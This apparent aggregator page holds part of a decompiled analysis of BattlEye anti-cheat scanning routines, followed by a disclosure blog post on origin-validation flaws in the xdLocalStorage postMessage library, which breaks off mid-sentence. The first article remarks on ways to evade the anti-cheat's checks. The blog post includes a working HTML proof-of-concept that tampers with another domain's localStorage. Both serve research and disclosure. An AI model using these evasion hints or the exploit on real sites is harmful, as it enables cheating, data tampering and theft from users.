false); free(report_buffer); } Shellcode detection [2] Manually mapping an executable is a process of replicating the windows image loader Another mechanism of this proprietary shellcode is the complete address space enumeration done on all processes running. This enumeration routine checks for memory anomalies frequently seen in shellcode and manually mapped portable executables [2]. This is done by enumerating all processes and their respective threads. By checking the start address of each thread and cross-referencing this to known module address ranges, it is possible to deduce which threads were used to execute dynamically allocated shellcode. When such an anomaly is found, the thread start address, thread handle, thread index and thread creation time are all sent to the respective game server for further investigation. This is likely done because allocating code into a trusted process yields increased stealth. This method kind of mitigates it as shellcode stands out if you start threads directly for them. This would not catch anyone using a method such as thread hijacking for shellcode execution, which is an alternative method. The decompilation is as follows: query_buffer_size = 0x150; while ( 1 ) { // QUERY PROCESS LIST query_buffer_size += 0x400; query_buffer = (SYSTEM_PROCESS_INFORMATION *)realloc(query_buffer, query_buffer_size); if ( !query_buffer ) break; query_status = NtQuerySystemInformation( SystemProcessInformation, query_buffer, query_buffer_size, &query_buffer_size); if ( query_status != STATUS_INFO_LENGTH_MISMATCH ) { if ( query_status >= 0 ) { // QUERY MODULE LIST SIZE module_list_size = 0; NtQuerySystemInformation)(SystemModuleInformation, &module_list_size, 0, &module_list_size); modules_buffer = (RTL_PROCESS_MODULES *)realloc(0, module_list_size); if ( modules_buffer ) { // QUERY MODULE LIST if ( NtQuerySystemInformation)( SystemModuleInformation, modules_buffer, module_list_size, 1) >= 0 ) { for ( current_process_entry = query_buffer; current_process_entry->UniqueProcessId != GAME_PROCESS_ID; current_process_entry = (std::uint64_t)current_process_entry + current_process_entry->NextEntryOffset) ) { if ( !current_process_entry->NextEntryOffset ) goto STOP_PROCESS_ITERATION_LABEL; } for ( thread_index = 0; thread_index < current_process_entry->NumberOfThreads; ++thread_index ) { // CHECK IF THREAD IS INSIDE OF ANY KNOWN MODULE for ( module_count = 0; module_count < modules_buffer->NumberOfModules && current_process_entry->threads[thread_index].StartAddress < modules_buffer->Modules[module_count].ImageBase || current_process_entry->threads[thread_index].StartAddress >= (char *)modules_buffer->Modules[module_count].ImageBase + modules_buffer->Modules[module_count].ImageSize); ++module_count ) { ; } if ( module_count == modules_buffer->NumberOfModules )// IF NOT INSIDE OF ANY MODULES, DUMP { // SEND A REPORT ! thread_report.pad = 0; thread_report.id = 0xF; thread_report.thread_base_address = current_process_entry->threads[thread_index].StartAddress; thread_report.thread_handle = current_process_entry->threads[thread_index].ClientId.UniqueThread; thread_report.thread_index = current_process_entry->NumberOfThreads - (thread_index + 1); thread_report.create_time = current_process_entry->threads[thread_index].CreateTime - current_process_entry->CreateTime; thread_report.windows_directory_delta = nullptr; if ( GetWindowsDirectoryA(&directory_path, 0x80) ) { windows_directory_handle = CreateFileA( &directory_path, GENERIC_READ, 7, 0, 3, 0x2000000, 0); if ( windows_directory_handle != INVALID_HANDLE_VALUE ) { if ( GetFileTime(windows_directory_handle, 0, 0, &last_write_time) ) thread_report.windows_directory_delta = last_write_time - current_process_entry->threads[thread_index].CreateTime; CloseHandle(windows_directory_handle); } } thread_report.driver_folder_delta = nullptr; system_directory_length = GetSystemDirectoryA(&directory_path, 128); if ( system_directory_length ) { // Append \\Drivers std::memcpy(&directory_path + system_directory_length, "\\Drivers", 9); driver_folder_handle = CreateFileA(&directory_path, GENERIC_READ, 7, 0i, 3, 0x2000000, 0); if ( driver_folder_handle != INVALID_HANDLE_VALUE ) { if ( GetFileTime(driver_folder_handle, 0, 0, &drivers_folder_last_write_time) ) thread_report.driver_folder_delta = drivers_folder_last_write_time - current_process_entry->threads[thread_index].CreateTime; CloseHandle(driver_folder_handle); } } battleye::send(&thread_report.pad, 0x2A, 0); } } } STOP_PROCESS_ITERATION_LABEL: free(modules_buffer); } free(query_buffer); } break; } } Shellcode dumping The shellcode will also scan the game process and the Windows process lsass.exe for suspicious memory allocations. While the previous memory scan mentioned in the above section looks for general abnormalities in all processes specific to thread creation, this focuses on specific scenarios and even includes a memory region size whitelist, which should be quite trivial to abuse. [1] The Virtual Address Descriptor tree is used by the Windows memory manager to describe memory ranges used by a process as they are allocated. When a process allocates memory with VirutalAlloc, the memory manager creates an entry in the VAD tree. Source The game and lsass process are scanned for executable memory outside of known modules by checking the Type field in MEMORY_BASIC_INFORMATION. This field will be MEM_IMAGE if the memory section is mapped properly by the Windows image loader (Ldr), whereas the field would be MEM_PRIVATE or MEM_MAPPED if allocated by other means. This is actually the proper way to detect shellcode and was implemented in my project MapDetection over three years ago. Thankfully anti-cheats are now up to speed. After this scan is done, a game-specific check has been added which caught my attention. The shellcode will spam IsBadReadPtr on reserved and freed memory, which should always return true as there would normally not be any available memory in these sections. This aims to catch cheaters manually modifying the virtual address descriptor[3] to hide their memory from the anti-cheat. While this is actually a good idea in theory, this kind of spamming is going to hurt performance and IsBadReadPtr is very simple to hook. for ( search_index = 0; ; ++search_index ) { search_count = lsass_handle ? 2 : 1; if ( search_index >= search_count ) break; // SEARCH CURRENT PROCESS BEFORE LSASS if ( search_index ) current_process = lsass_handle; else current_process = -1; // ITERATE ENTIRE ADDRESS SPACE OF PROCESS for ( current_address = 0; NtQueryVirtualMemory)( current_process, current_address, 0, &mem_info, sizeof(mem_info), &used_length) >= 0; current_address = (char *)mem_info.BaseAddress + mem_info.RegionSize ) { // FIND ANY EXECUTABLE MEMORY THAT DOES NOT BELONG TO A MODULE if ( mem_info.State == MEM_COMMIT && (mem_info.Protect == PAGE_EXECUTE || mem_info.Protect == PAGE_EXECUTE_READ || mem_info.Protect == PAGE_EXECUTE_READWRITE) && (mem_info.Type == MEM_PRIVATE || mem_info.Type == MEM_MAPPED) && (mem_info.BaseAddress > SHELLCODE_ADDRESS || mem_info.BaseAddress + mem_info.RegionSize <= SHELLCODE_ADDRESS) ) { report.pad = 0; report.id = 0x10; report.base_address = (__int64)mem_info.BaseAddress; report.region_size = mem_info.RegionSize; report.meta = mem_info.Type | mem_info.Protect | mem_info.State; battleye::send(&report, sizeof(report), 0); if ( !search_index && (mem_info.RegionSize != 0x12000 && mem_info.RegionSize >= 0x11000 && mem_info.RegionSize <= 0x500000 || mem_info.RegionSize == 0x9000 || mem_info.RegionSize == 0x7000 || mem_info.RegionSize >= 0x2000 && mem_info.RegionSize <= 0xF000 && mem_info.Protect == PAGE_EXECUTE_READ)) { // INITIATE RAW DATA PACKET report.pad = 0; report.id = 0xBE; battleye::send(&report, sizeof(report), false); // DUMP SHELLCODE IN CHUNKS OF 0x27EA (WHY?) for ( chunk_index = 0; ; ++chunk_index ) { if ( chunk_index >= mem_info.region_size / 0x27EA + 1 ) break; buffer_size = chunk_index >= mem_info.region_size / 0x27EA ? mem_info.region_size % 0x27EA : 0x27EA; if ( NtReadVirtualMemory(current_process, mem_info.base_address, &report.buffer, buffer_size, 0x00) < 0 ) break; report.pad = 0; report.id = 0xBEu; battleye::send(&v313, buffer_size + 2, false); } } } // TRY TO FIND DKOM'D MEMORY IN LOCAL PROCESS if ( !search_index && (mem_info.State == MEM_COMMIT && (mem_info.Protect == PAGE_NOACCESS || !mem_info.Protect) || mem_info.State == MEM_FREE || mem_info.State == MEM_RESERVE) ) { toggle = 0; for ( scan_address = current_address; scan_address < (char *)mem_info.BaseAddress + mem_info.RegionSize && scan_address < (char *)mem_info.BaseAddress + 0x40000000; scan_address += 0x20000 ) { if ( !IsBadReadPtr(scan_address, 1) && NtQueryVirtualMemory(GetCurrentProcess(), scan_address, 0, &local_mem_info, sizeof(local_mem_info), &used_length) >= 0 && local_mem_info.State == mem_info.State && (local_mem_info.State != 4096 || local_mem_info.Protect == mem_info.Protect) ) { if ( !toggle ) { report.pad = 0; report.id = 0x10; report.base_address = mem_info.BaseAddress; report.region_size = mem_info.RegionSize; report.meta = mem_info.Type | mem_info.Protect | mem_info.State; battleye::send(&report, sizeof(report), 0); toggle = 1; } report.pad = 0; report.id = 0x10; report.base_address = local_mem_info.BaseAddress; report.region_size = local_mem_info.RegionSize; report.meta = local_mem_info.Type | local_mem_info.Protect | local_mem_info.State; battleye::send(&local_mem_info, sizeof(report), 0); } } } } } Handle enumeration This mechanism will enumerate all open handles on the machine and flag any game process handles. This is done to catch cheaters forcing their handles to have a certain level of access that is not normally obtainable, as the anti-cheat registers callbacks to prevent processes from gaining memory-modification rights of the game process. If a process is caught with an open handle to the game process, relevant info, such as level of access and process name, is sent to the game server: report_buffer = (__int8 *)malloc(0x2800); report_buffer[0] = 0; report_buffer[1] = 0x11; buffer_index = 2; handle_info = 0; buffer_size = 0x20; do { buffer_size += 0x400; handle_info = (SYSTEM_HANDLE_INFORMATION *)realloc(handle_info, buffer_size); if ( !handle_info ) break; query_status = NtQuerySystemInformation(0x10, handle_info, buffer_size, &buffer_size);// SystemHandleInformation } while ( query_status == STATUS_INFO_LENGTH_MISMATCH ); if ( handle_info && query_status >= 0 ) { process_object_type_index = -1; for ( handle_index = 0; (unsigned int)handle_index < handle_info->number_of_handles && buffer_index <= 10107; ++handle_index ) { // ONLY FILTER PROCESS HANDLES if ( process_object_type_index == -1 || (unsigned __int8)handle_info->handles[handle_index].ObjectTypeIndex == process_object_type_index ) { // SEE IF OWNING PROCESS IS NOT GAME PROCESS if ( handle_info->handles[handle_index].UniqueProcessId != GetCurrentProcessId() ) { process_handle = OpenProcess( PROCESS_DUP_HANDLE, 0, *(unsigned int *)&handle_info->handles[handle_index].UniqueProcessId); if ( process_handle ) { // DUPLICATE THEIR HANDLE current_process_handle = GetCurrentProcess(); if ( DuplicateHandle( process_handle, (unsigned __int16)handle_info->handles[handle_index].HandleValue, current_process_handle, &duplicated_handle, PROCESS_QUERY_LIMITED_INFORMATION, 0, 0) ) { if ( process_object_type_index == -1 ) { if ( NtQueryObject(duplicated_handle, ObjectTypeInformation, &typeinfo, 0x400, 0) >= 0 && !_wcsnicmp(typeinfo.Buffer, "Process", typeinfo.Length / 2) ) { process_object_type_index = (unsigned __int8)handle_info->handles[handle_index].ObjectTypeIndex; } } if ( process_object_type_index != -1 ) { // DUMP OWNING PROCESS NAME target_process_id = GetProcessId(duplicated_handle); if ( target_process_id == GetCurrentProcessId() ) { if ( handle_info->handles[handle_index].GrantedAccess & PROCESS_VM_READ|PROCESS_VM_WRITE ) { owning_process = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, 0, *(unsigned int *)&handle_info->handles[handle_index].UniqueProcessId); process_name_length = 0x80; if ( !owning_process || !QueryFullProcessImageNameA( owning_process, 0, &report_buffer[buffer_index + 1], &process_name_length) ) { process_name_length = 0; } if ( owning_process ) CloseHandle(owning_process); report_buffer[buffer_index] = process_name_length; after_name_index = buffer_index + (char)process_name_length + 1; *(_DWORD *)&report_buffer[after_name_index] = handle_info->handles[handle_index].GrantedAccess; buffer_index = after_name_index + 4; } } } CloseHandle(duplicated_handle); CloseHandle(process_handle); } else { CloseHandle(process_handle); } } } } } } if ( handle_info ) free(handle_info); battleye::send(report_buffer, buffer_index, false); free(report_buffer); Process enumeration The first routine the shellcode implements is a catch-all function for logging and dumping information about all running processes. This is fairly common, but is included in the article for completeness’ sake. This also uploads the file size of the primary image on disk. snapshot_handle = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0x00 ); if ( snapshot_handle != INVALID_HANDLE_VALUE ) { process_entry.dwSize = 0x130; if ( Process32First(snapshot_handle, &process_entry) ) { report_buffer = (std::uint8_t*)malloc(0x5000); report_buffer[0] = 0; report_buffer[1] = 0xB; buffer_index = 2; // ITERATE PROCESSES do { target_process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, process_entry.th32ProcessID); // QUERY PROCESS IAMGE NAME name_length = 0x100; query_result = QueryFullProcessImageNameW(target_process_handle, 0, &name_buffer, &name_length); name_length = WideCharToMultiByte( CP_UTF8, 0x00, &name_buffer, name_length, &report_buffer[buffer_index + 5], 0xFF, nullptr, nullptr); valid_query = target_process_handle && query_result && name_length; // Query file size if ( valid_query ) { if ( GetFileAttributesExW(&name_buffer, GetFileExInfoStandard, &file_attributes) ) file_size = file_attributes.nFileSizeLow; else file_size = 0; } else { // TRY QUERY AGAIN WITHOUT HANDLE process_id_information.process_id = (void *)process_entry.th32ProcessID; process_id_information.image_name.Length = '\0'; process_id_information.image_name.MaximumLength = '\x02\0'; process_id_information.image_name.Buffer = name_buffer; if ( NtQuerySystemInformation(SystemProcessIdInformation, &process_id_information, 24, 1) < 0 ) { name_length = 0; } else { name_address = &report_buffer[buffer_index + 5]; name_length = WideCharToMultiByte( CP_UTF8, 0, (__int64 *)process_id_information.image_name.Buffer, process_id_information.image_name.Length / 2, name_address, 0xFF, nullptr, nullptr); } file_size = 0; } // IF MANUAL QUERY WORKED if ( name_length ) { *(_DWORD *)&report_buffer[buffer_index] = process_entry.th32ProcessID; report_buffer[buffer_index + 4] = name_length; *(_DWORD *)&report_buffer[buffer_index + 5 + name_length] = file_size; buffer_index += name_length + 9; } if ( target_process_handle ) CloseHandle(target_process_handle); // CACHE LSASS HANDLE FOR LATER !! if ( *(_DWORD *)process_entry.szExeFile == 'sasl' ) lsass_handle = OpenProcess(0x410, 0, process_entry.th32ProcessID); } while ( Process32Next(snapshot_handle, &process_entry) && buffer_index < 0x4EFB ); // CLEANUP CloseHandle((__int64)snapshot_handle); battleye::send(report_buffer, buffer_index, 0); free(report_buffer); } } Sursa: https://secret.club/2020/03/31/battleye-developer-tracking.html -
Exploiting xdLocalStorage (localStorage and postMessage) Published by GrimHacker on 2 April 2020 Last updated on 7 April 2020 Some time ago I came across a site that was using xdLocalStorage after I had been looking into the security of HTML5 postMessage. I found that the library had several common security flaws around lack of origin validation and then noticed that there was already an open issue in the project for this problem, added it to my list of things to blog about, and promptly forgot about it. This week I have found the time to actually write this post which I hope will prove useful not only for those using xdLocalStorage, but more generally for those attempting to find (or avoid introducing) vulnerabilities when Web Messaging is in use. Contents Background What is xdLocalStorage? Origin Same Origin HTML5 Web Storage DNS Spoofing Attacks Cross Directory Attacks A note to testers Web Messaging (AKA cross-document messaging AKA postMessage) Receiving a message Sending a message A note to testers The Vulnerability in xdLocalStorage Normal Operation Walk Through Visual Example The Vulnerabilities Missing origin validation when receiving messages Magic iframe – CVE-2015-9544 Client – CVE-2015-9545 Wildcard targetOrigin when sending messages Magic iframe – CVE-2020-11610 Client – CVE-2020-11611 How Wide Spread is the Issue in xdLocalStorage? Defence xdLocalStorage Web Messaging Web Storage Background What is xdLocalStorage? “xdLocalStorage is a lightweight js library which implements LocalStorage interface and support cross domain storage by using iframe post message communication.” [sic] https://github.com/ofirdagan/cross-domain-local-storage/blob/master/README.md This library aims to solve the following problem: “As for now, standard HTML5 Web Storage (a.k.a Local Storage) doesn’t now allow cross domain data sharing. This may be a big problem in an organization which have a lot of sub domains and wants to share client data between them.” [sic] https://github.com/ofirdagan/cross-domain-local-storage/blob/master/README.md Origin “Origins are the fundamental currency of the Web’s security model. Two actors in the Web platform that share an origin are assumed to trust each other and to have the same authority. Actors with differing origins are considered potentially hostile versus each other, and are isolated from each other to varying degrees. For example, if Example Bank’s Web site, hosted at bank.example.com, tries to examine the DOM of Example Charity’s Web site, hosted at charity.example.org, a SecurityError DOMException will be raised.” https://html.spec.whatwg.org/multipage/origin.html Origin may be an “opaque origin” or a “tuple origin”. The former is serialised to “null” and can only meaningfully be tested for equality. A unique opaque origin is assigned to an img, audio, or video element when the data is fetched cross origin. An opaque origin is also used for sandboxed documents, data urls, and potentially in other circumstances. The latter is more commonly encountered and consists of: Scheme (e.g. “http”, “https”, “ftp”, “ws”, etc) Host (e.g. “www.example.com”, “203.0.113.1”, “2001:db8::1”, “localhost”) Port (e.g. 80, 443, or 1234) Domain (e.g. “www.example.com”) [defaults to null] Note “Domain” can usually be ignored to aid understanding, but is included within the specification. Same Origin Two origins, A and B, are said to be same origin if: A and B are the same opaque origin A and B are both tuple origins and their schemes, hosts, and port are identical The following table shows several examples of origins for A and B and indicates if they are the same origin or not: A B same origin https://example.com https://example.com YES http://example.com https://example.com NO http://example.com http://example.com:80 YES https://example.com https://example.com:8443 NO https://example.com https://www.example.com NO http://example.com:8080 http://example.com:8081 NO HTML5 HTML5 was first released in 2008 (and has since been replaced by the “HTML Living Standard”) it introduced a range of new features including “Web Storage” and “Web Messaging”. Web Storage Web storage allows applications to store data locally within the user’s browser as strings in key/value pairs, significantly more data can be stored than in cookies. There are two types: local storage (localStorage) and session storage (sessionStorage). The first stores the data with no expiration whereas the second only stores it for that one session (closing the browser tab loses the data). There are a several security considerations when utilising web storage, as might be expected these are around access to the data. Access to web storage is restricted to the same origin. DNS Spoofing Attacks If an attacker successfully performs a DNS spoofing attack, the user’s browser will connect to the attacker’s web server and treat all responses and content as if it came from the legitimate domain (which has been spoofed). This means that the attacker will then have access to the contents of web storage and can read and manipulate it as the origin will match. In order to prevent this, it is critical that all applications are served over a secure HTTPS connection that utilise valid TLS certificates and HSTS to prevent a connection being established to a malicious server. Cross Directory Attacks Applications that are deployed to different paths within a domain usually have the same origin (i.e. same scheme, domain/host, and port) as each other. This means that JavaScript in one application can manipulate the contents of other applications within the same origin, this is a common concern for Cross Site Scripting vulnerabilities. However what may be overlooked is that sites with the same origin also share the same web storage objects, potentially exposing sensitive data set by one application to an attacker gaining access to another. It is therefore recommended applications deployed in this manner avoid utilising web storage. A note to testers Web storage is read and manipulated via JavaScript functions in the user’s browser, therefore you will not see much evidence of its use in your intercepting proxy (unless you closely review all JavaScript loaded by the application). You can utilise the developer tools in the browser to view the contents of local storage and session storage or use the developer console to execute JavaScript and access the data. For further information about web storage refer to the specification. For further information about using web storage safely refer to the OWASP HTML5 Security Cheat Sheet. Web Messaging (AKA cross-document messaging AKA postMessage) For security and privacy reasons web browsers prevent documents in different origins from affecting each other. This is a critical security feature to prevent malicious sites from reading data from other origin the user may have accessed with the same browser, or executing JavaScript within the context of the other origin. However sometimes an application has a legitimate need to communicate with another application within the user’s browser. For example an organisation may own several domains and need to pass information about the user between them. One technique that was used to achieve this was JSONP which I have blogged about previously. The HTML Standard has introduced a messaging system that allows documents to communicate with each other regardless of their source origin in order to meet this requirement without enabling Cross Site Scripting attacks. Document “A” can create an iframe (or open a window) that contains document “B”. Document “A” can then call the postMessage() method on the Window object of document “B” to trigger a message event and pass information from “A” to “B”. Document “B” can also use the postMessage() method on the window.parent or window.opener object to send a message to the document that opened it (in this example document “A”). Messages can be structured objects, e.g. nested objects and arrays, can contain JavaScript values (String, Number, Date objects, etc), and can contain certain data objects such as File Blob, FileList, and ArrayBuffer objects. I have most commonly seen messages consisting of strings containing JSON. i.e. the sender uses JSON.stringify(data) and the receiver uses data = JSON.parse(event.data). Note that a HTML postMessage is completely different from a HTTP POST message! Note Cross-Origin Resource Sharing (CORS) can also be used to allow a web application running at one origin to access selected resources from a different origin, however that is not the focus of this post. Refer to the article from Mozilla for further information about CORS. Receiving a message In order to receive messages an event handler must be registered for incoming events. For example the addEventListener() method (often on the window) might be used to specify a function which should be called when events of type 'message' are fired. It is the developer’s responsibility to check the origin attribute of any messages received to ensure that they only accept messages from origins they expect. It is not uncommon to encounter message handling functions that are not performing any origin validation at all. However even when origin validation is attempted it is often insufficiently robust. For example (assuming the developer intended to allow messages from https://www.example.com😞 Regular expressions which do not escape the wildcard . character in domain names. e.g. https://wwwXexample.com is a valid domain name that could be registered by an attacker and would pass the following: var regex = /https*:\/\/www.example.com$/i; if regex.test(event.origin) {//accepted} Regular expressions which do not check the string ends by using the $ character at the end of the expression. e.g. https://www.example.com.grimhacker.com is a valid domain that could be under the attacker’s control and pass the following: var regex = /https*:\/\/www\.example\.com/i; if regex.test(event.origin) {//accepted} Using indexOf to verify the origin contains the expected domain name, without accounting for the entire origin (e.g. https://www.example.com.grimhacker.com would pass the following check: if (event.origin.indexOf("https://www.example.com")> -1) {//accepted} Even when robust origin validation is performed, the application must still perform input validation on the data received to ensure it is in the expected format before utilising it. The application must treat the message as data rather than evaluating it as code (e.g. via eval()), and avoid inserting it into the DOM (e.g. via innerHTML). This is because any vulnerability (such as Cross Site Scripting) in an allowed domain may give an attacker the opportunity to send malicious messages from the trusted origin, which may compromise the receiving application. The impact of an a malicious message being processed depends on the vulnerable application’s processing of the data sent, however DOM Based Cross Site Scripting is common. Sending a message When sending a message using the postMessage() method of a window the developer has the option of specifying the targetOrigin of the message either as a parameter or within the object passed in the options parameter; if the targetOrigin is not specified it defaults to / which restricts the message to same origin targets only. It is possible to use the wildcard * to allow any origin to receive the message. It is important to ensure that messages include a specific targetOrigin, particularly when the message contains sensitive information. It may be tempting for developers to use the wildcard if they have created the window object since it is easy to assume that the document within the window must be the one they intend to communicate with, however if the location of that window has changed since it was created the message will be sent to the new location, which may not be an origin which was ever intended. Likewise a developer may be tempted to use the wildcard when sending a message to window.parent, as they believe only legitimate domains can/will be the parent frame/window. This is often not the case and a malicious domain can open a window to the vulnerable application and wait to receive sensitive information via a message. A note to testers Web messages are entirely within the user’s browser, therefore you will not see any evidence of them within your intercepting proxy (unless you closely review all JavaScript loaded by the application). You can check for registered message handlers in the “Global Listeners” section of the debugger pane in the Sources tab of the Chrome developer tools: You can use the monitorEvents() console command in the chrome developer tools to print messages to the console. e.g. to monitor message events sent from or received by the window: monitorEvents(window, "message"). Note that you are likely to miss messages that are sent as soon as the page loads using this method as you will not have had the opportunity to start monitoring. Additionally although this will capture messages sent and received to nested iframes in the same window, it will not capture messages sent to another window. The most robust method I know of for capturing postMessages is the PMHook tool from AppCheck, usage of this tool is described in their Hunting HTML5 postMessage Vulnerabilities paper. Once you have captured the message, are able to reproduce it, and you have found the handler function you will want to use breakpoints in the handler function in order to step through the code and identify issues in the handling of messages. The following resource from Google provides an introduction to using the developer tools in Chrome: https://developers.google.com/web/tools/chrome-devtools/javascript For further information about web messaging refer to the specification. For further information about safely using web messaging refer to the OWASP HTML5 Security Cheat Sheet. For more in depth information regarding finding and exploiting vulnerabilities in web messages I recommend the paper Hunting HTML5 postMessage Vulnerabilities from Sec-1/AppCheck. The Vulnerability in xdLocalStorage Normal Operation Walk Through Normal usage of the xdLocalStorage library (according to the README) is to create a HTML document which imports xdLocalStoragePostMessageApi.min.js on the domain that will store the data – this is the “magical iframe”; and import xdLocalStorage.min.js on the “client page” which needs to manipulate the data. Note angular applications can import ng-xdLocalStorage.min.js and include xdLocalStorage and inject this module where required to use the API. The client The interface is initialised on the client page with the URL of the “magical iframe” after which the setItem(), getItem(), removeItem(), key(), and clear() API functions can be called to interact with the local storage of the domain hosting the “magical iframe”. When the library initialises on the client page it appends an iframe to the body of the page which loads the “magical iframe” document. It also registers an event handler using addEventListener or attachEvent (depending on browser capabilities). The init function is included below (line 56 of xdLocalStorage.js😞 function init(customOptions) { options = XdUtils.extend(customOptions, options); var temp = document.createElement('div'); if (window.addEventListener) { window.addEventListener('message', receiveMessage, false); } else { window.attachEvent('onmessage', receiveMessage); } temp.innerHTML = '<iframe id="' + options.iframeId + '" src="' + options.iframeUrl + '" style="display: none;"></iframe>'; document.body.appendChild(temp); iframe = document.getElementById(options.iframeId); } When the client page calls one of the API functions it must supply any required parameters (e.g. getItem() requires the key name is specified), and a callback function. The API function calls the buildMessage() function passing an appropriate action string for itself, along with the parameters and callback function. The getItem() API function is included below as an example (line 125 of xdLocalStorage.js😞 getItem: function (key, callback) { if (!isApiReady()) { return; } buildMessage('get', key, null, callback); }, The buildMessage() function increments a requestId and stores the callback associated to this requestId. It then creates a data object containing a namespace, the requestId, the action to be performed (e.g. getItem() causes a "get" action), key name, and value. This data is converted to a string and sent as a postMessage to the “magical iframe”. The buildMessage() function is included below (line 43 in xdLocalStorage.js😞 function buildMessage(action, key, value, callback) { requestId++; requests[requestId] = callback; var data = { namespace: MESSAGE_NAMESPACE, id: requestId, action: action, key: key, value: value }; iframe.contentWindow.postMessage(JSON.stringify(data), '*'); } The “magical iframe” When the document is loaded a handler function is attached to the window (using either addEventListener() or attachEvent() depending on browser support) as shown below (line 90 in xdLocalStoragePostMessageApi.js😞 if (window.addEventListener) { window.addEventListener('message', receiveMessage, false); } else { window.attachEvent('onmessage', receiveMessage); } It then sends a message to the parent window to indicate it is ready (line 96 in xdLocalStoragePostMessageApi.js😞 function sendOnLoad() { var data = { namespace: MESSAGE_NAMESPACE, id: 'iframe-ready' }; parent.postMessage(JSON.stringify(data), '*'); } //on creation sendOnLoad(); When a message is received, the browser will call the function that has been registered and pass it the event object. The receiveMessage() function will attempt to parse the event.data attribute as JSON and if successful check if the namespace attribute of the data object matches the configured MESSAGE_NAMESPACE. It will then call the required function based on the value of the data.action attribute, for example "get" results in a call to getData() which is passed the data.key attribute. The receiveMessage() function is included below (line 63 of xdLocalStoragePostMessageApi.js😞 function receiveMessage(event) { var data; try { data = JSON.parse(event.data); } catch (err) { //not our message, can ignore } if (data && data.namespace === MESSAGE_NAMESPACE) { if (data.action === 'set') { setData(data.id, data.key, data.value); } else if (data.action === 'get') { getData(data.id, data.key); } else if (data.action === 'remove') { removeData(data.id, data.key); } else if (data.action === 'key') { getKey(data.id, data.key); } else if (data.action === 'size') { getSize(data.id); } else if (data.action === 'length') { getLength(data.id); } else if (data.action === 'clear') { clear(data.id); } } } The selected function will then directly interact with the localStorage object to carry out the requested action and call the postData() function to send the data back to the parent window. To illustrate this the getData() and postData() functions are shown below (respectively lines 20 and 14 in xdLocalStoragePostMessageApi.js) function getData(id, key) { var value = localStorage.getItem(key); var data = { key: key, value: value }; postData(id, data); } function postData(id, data) { var mergedData = XdUtils.extend(data, defaultData); mergedData.id = id; parent.postMessage(JSON.stringify(mergedData), '*'); } The client When a message is received, the browser will call the function that has been registered and pass it the event object. The receiveMessage() function will attempt to parse the event.data attribute as JSON and if successful check if the namespace attribute of the data object matches the configured MESSAGE_NAMESPACE. If the data.id attribute is "iframe-ready" then the initCallback() function is executed (if one has been configured), otherwise the data object is passed to the applyCallback() function. This is shown below (line 26 of xdLocalStorage.js😞 function receiveMessage(event) { var data; try { data = JSON.parse(event.data); } catch (err) { //not our message, can ignore } if (data && data.namespace === MESSAGE_NAMESPACE) { if (data.id === 'iframe-ready') { iframeReady = true; options.initCallback(); } else { applyCallback(data); } } } The applyCallback() function simply uses the data.id attribute to find the callback function that was stored for the matching requestId and executes it, passing it the data. This is shown below (line 19 of xdLocalStorage.js😞 function applyCallback(data) { if (requests[data.id]) { requests[data.id](data); delete requests[data.id]; } } Visual Example The sequence diagram shows (at a very high level) the interaction between the client (SiteA) and the “magical iframe” (SiteB) when the getItem function is called. The Vulnerabilities Missing origin validation when receiving messages Magic iframe – CVE-2015-9544 The receiveMessage() function in xdLocalStoragePostMessageApi.js does not implement any validation of the origin. The only requirements for the message to be successfully processed are that the message is a string that can be parsed as JSON, the namespace attribute of the message matches the configured MESSAGE_NAMESPACE (default is "cross-domain-local-message"), and the action attribute is one of the following strings: "set", "get", "remove", "key", "size", "length", or "clear". Therefore a malicious domain can send a message that meets these requirements and manipulate the local storage of the domain. In order to exploit this issue an attacker would need to entice a user to load a malicious site, which then interacts with the legitimate site hosting the “magical iframe”. The following proof of concept allows the user to set a value for “pockey” in the local storage of the domain hosting the vulnerable “magic iframe”. However it would also be possible to retrieve all information from local storage and send this to the attacker, by exploiting this issue in combination with the use of a wildcard targetOrigin (discussed below). <html> <!-- POC exploit for xdLocalStorage.js by GrimHacker https://grimhacker.com/exploiting-xdlocalstorage-(localstorage-and-postmessage) --> <body> <script> var MESSAGE_NAMESPACE = "cross-domain-local-message"; var targetSite = "http://siteb.grimhacker.com:8000/cross-domain-local-storage.html" // magical iframe; var iframeId = "vulnerablesite"; var a = document.createElement("a"); a.href = targetSite; var targetOrigin = a.origin; function receiveMessage(event) { var data; data = JSON.parse(event.data); var message = document.getElementById("message"); message.textContent = "My Origin: " + window.origin + "\r\nevent.origin: " + event.origin + "\r\nevent.data: " + event.data; } window.addEventListener('message', receiveMessage, false); var temp = document.createElement('div'); temp.innerHTML = '<iframe id="' + iframeId + '" src="' + targetSite + '" style="display: none;"></iframe>'; document.body.appendChild(temp); iframe = document.getElementById(iframeId); function setValue() { var valueInput = document.getElementById("valueInput"); var data = { namespace: MESSAGE_NAMESPACE, id: 1, action: "set", key: "pockey", value: valueInput.value } iframe.contentWindow.postMessage(JSON.stringify(data), targetOrigin); } </script> <div class=label>Enter a value to assign to "pockey" on the vulnerable target:</div><input id=valueInput></div> <button onclick=setValue()>Set pockey</button> <div><p>The latest postmessage received will be shown below:</div> <div id="message" style="white-space: pre;"></div> </body> </html> The screenshots below demonstrate this: SiteA loads an iframe for cross-domain-local-storage.html on SiteB and receives an “iframe-ready” postMessage. SiteA sends a postMessage to the SiteB iframe to set the key “pockey” with the specified value “pocvalue” in the SiteB local storage. SiteB sends a postMessage to SiteA to indicate success. Checking the localstorage for SiteB shows the key and value have been set. Depending on how the local storage data is used by legitimate client application, altering the data as shown above may impact the security of the client application. Client – CVE-2015-9545 The receiveMessage() function in xdLocalStorage.js does not implement any validation of the origin. The only requirements for the message to be successfully processed are that the message is a string that can be parsed as JSON, the data.namespace attribute of the message matches the configured MESSAGE_NAMESPACE (default is "cross-domain-local-message"), and the data.id attribute of the message matches a requestId that is currently pending. Therefore a malicious domain can send a message that meets these requirements and cause their malicious data to be processed by the callback configured by the vulnerable application. Note that requestId is a number that increments with each legitimate request the vulnerable application sends to the “magic iframe”, therefore exploitation would include winning a race condition. In order to exploit this issue an attacker would need to entice a user to load a malicious site, which then interacts with the legitimate client site. Exact exploitation of this issue would depend on how the vulnerable application uses the data they intended to retrieve from local storage, analysis of the functionality would be required in order to identify a valid attack vector. Wildcard targetOrigin when sending messages Magic iframe – CVE-2020-11610 The postData() function in xdLocalStoragePostMessageApi.js specifies the wildcard (*) as the targetOrigin when calling the postMessage() function on the parent object. Therefore any domain can load the application hosting the “magical iframe” and receive the messages that the “magical iframe” sends. In order to exploit this issue an attacker would need to entice a user to load 